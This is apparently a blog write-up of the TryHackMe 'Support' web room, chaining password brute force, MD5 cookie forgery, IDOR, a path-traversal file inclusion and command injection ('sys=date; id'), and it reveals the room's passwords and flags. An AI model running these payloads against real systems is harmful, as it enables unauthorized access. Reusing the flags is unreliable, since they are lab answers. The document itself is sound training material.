Support - TryHackMe CTF Write-Up

· prosetesting's blog

Chaining five web vulns on TryHackMe Support: brute force, MD5 cookie tampering, IDOR, constrained LFI and command injection to RCE.

Table of Contents

Support - TryHackMe CTF Write-Up #

🏴 Platform: TryHackMe
🔬 Category: Web (Jr Penetration Tester capstone)
🟠 Difficulty: Medium
📅 Date: 2026-06-16
✍️ Author: t0nt0n
⏱️ Reading time: ~5 min

The "Support Operations Platform" room is the capstone of the THM Jr Penetration Tester web path. It chains five distinct flaws, each one unlocking the next: broken authentication, session cookie tampering, IDOR, a constrained LFI, and finally command injection for RCE. This write-up follows that chain end to end.

Reconnaissance #

Two services exposed:

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache/2.4.58 (Ubuntu)

The web root is an "Employee Authentication" login (email + password, POST to itself). Content discovery with ffuf:

1ffuf -u http://10.129.169.189/FUZZ \
2  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
3  -e .php -mc 200,301,302,401,403

Findings: api.php, config.php, info.php, dashboard.php, footer.php, logout.php, and the directories includes/ and skins/ with directory listing enabled. api.php and dashboard.php both 302 to index.php (auth gate). info.php is a full phpinfo() page:

The footer has a theme selector linking to ?skin=blue|red|green|default, and includes/skin.php is what consumes it. That smelled like file inclusion from the start.

Rabbit Holes #

Everything below was tested and led nowhere. Documenting it is half the value.

Exploitation #

1. Broken auth: brute the helpdesk account #

No enumeration, but help@support.thm is named on the page and the login has no rate limiting. ffuf, filtering out the failure string:

1ffuf -w /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt:W2 \
2  -u http://10.129.169.189/index.php -X POST \
3  -H "Content-Type: application/x-www-form-urlencoded" \
4  -d "email=help@support.thm&password=W2" \
5  -fr "Invalid credentials"
Reveal helpdesk password

snoopy

Login sets a second cookie:

isITUser=68934a3e9455fa72420237eb05902327

That is md5("false"). Recompute md5("true") and replace it:

1echo -n true | md5sum   # b326b5062b2f0e69046810717534cb09

Reloading the dashboard with isITUser=b326b5062b2f0e69046810717534cb09 reveals the IT Admin Panel linking to api.php.

3. IDOR on the internal user API #

api.php exposes GET /user/{id} (routed via PATH_INFO). Enumerating IDs ($CK holds the authenticated cookies, i.e. the helpdesk PHPSESSID plus the tampered isITUser=md5("true")):

1CK="PHPSESSID=<session-from-login>; isITUser=b326b5062b2f0e69046810717534cb09"
2for i in $(seq 0 5); do curl -s -b "$CK" http://10.129.169.189/user/$i; done
1user/1 -> {"email":"specialadmin@support.thm","2FA":false,"admin":true}
2user/2 -> {"email":"IT@support.thm","2FA":false,"admin":false}
3user/3 -> {"email":"help@support.thm","2FA":false,"admin":false}

The real admin is specialadmin@support.thm. The API is read-only (all HTTP methods return the same object), so no mass assignment, just disclosure.

4. Constrained LFI to leak the master password #

The skin parameter cannot read raw files, but it can include any .php file by traversal. ?skin=../config includes config.php, whose source is rendered because of a malformed PHP block:

1curl -s -b "$CK" "http://10.129.169.189/dashboard.php?skin=../config"
1$MASTER_PASSWORD = 'support@110';

The admin login only succeeds with the @ removed (the server strips the special character before comparison), so the working credential is specialadmin@support.thm : support110. That login yields the admin flag.

Yes. The whole "sanitization" is stripping the @. That is the security control.

when the input validation is just str_replace

Task failed successfully.

Reveal admin flag

THM{I_AM_ADMIN999}

5. Command injection to RCE #

As admin, api.php shows a Time widget: a sys POST parameter passed straight to a shell (date / date +"%H:%M:%S"). Trivially injectable:

1curl -s -b "$CK" http://10.129.169.189/api.php \
2  --data-urlencode 'sys=date; id'
3# uid=33(www-data) gid=33(www-data) groups=33(www-data)

No reverse shell needed to grab the user flag:

1curl -s -b "$CK" http://10.129.169.189/api.php \
2  --data-urlencode 'sys=date; cat /home/ubuntu/user.txt'

Flag #

Reveal admin flag

THM{I_AM_ADMIN999}

Reveal user.txt flag

THM{GOT_THE_FLAG001}

Tools Used #

Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain